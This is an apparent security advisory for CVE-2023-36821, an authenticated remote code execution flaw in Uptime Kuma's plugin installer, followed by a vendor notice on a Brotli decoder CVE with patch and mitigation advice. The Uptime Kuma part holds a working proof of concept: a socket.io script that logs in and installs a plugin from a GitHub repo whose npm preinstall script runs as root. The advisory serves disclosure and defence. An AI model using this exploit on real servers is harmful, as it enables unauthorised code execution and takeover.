CVE-2023-36821

EUVD-2024-1492 · Published May 1, 2024

Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation

Summary

Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.

Details

Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
After downloading a plugin, it's installed by calling npm install in the installation directory of the plugin:
https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216

Because the plugin is not validated against the official list of plugins or installed with npm install --ignore-scripts, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.

PoC

In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty index.js and a package.json containing the script: "preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc". This will be executed when installing the plugin.

Start Uptime Kuma: docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1
Create a user using the Uptime Kuma web interface, e.g. user admin with password admin123
Confirm that the PoC file to be created doesn't exist yet:

➜  ~ docker exec -it uptime-kuma cat /tmp/poc
cat: /tmp/poc: No such file or directory

Create file poc.js with the following content:

SERVER = "ws://localhost:3001";
USERNAME = "admin";
PASSWORD = "admin123";


const { io } = require("socket.io-client");
const socket = io(SERVER);
const repo = "https://github.com/n-thumann/npm-install-script-poc";
const name = "npm-install-script-poc";

socket.emit(
  "login",
  { username: USERNAME, password: PASSWORD, token: "" },
  (res) => {
    if (res.ok !== true) return console.log("Login failed");

    console.log("Login successful");
    socket.emit("installPlugin", repo, name, () => {
      console.log("Done");
      socket.close();
    });
  }
);

Install socket.io-client: npm install socket.io-client
Run the script: node poc.js:

# node poc.js
Login successful
Done

The PoC file has been created:

➜  ~ docker exec -it uptime-kuma cat /tmp/poc
Malicious code could have been executed as user root

Impact

This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.

Technologies

Uptime-Kuma_Project Uptime-KumaUptime-Kuma Uptime-Kuma

Weaknesses

CWE-20

CVSS scores

v3.18.8CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.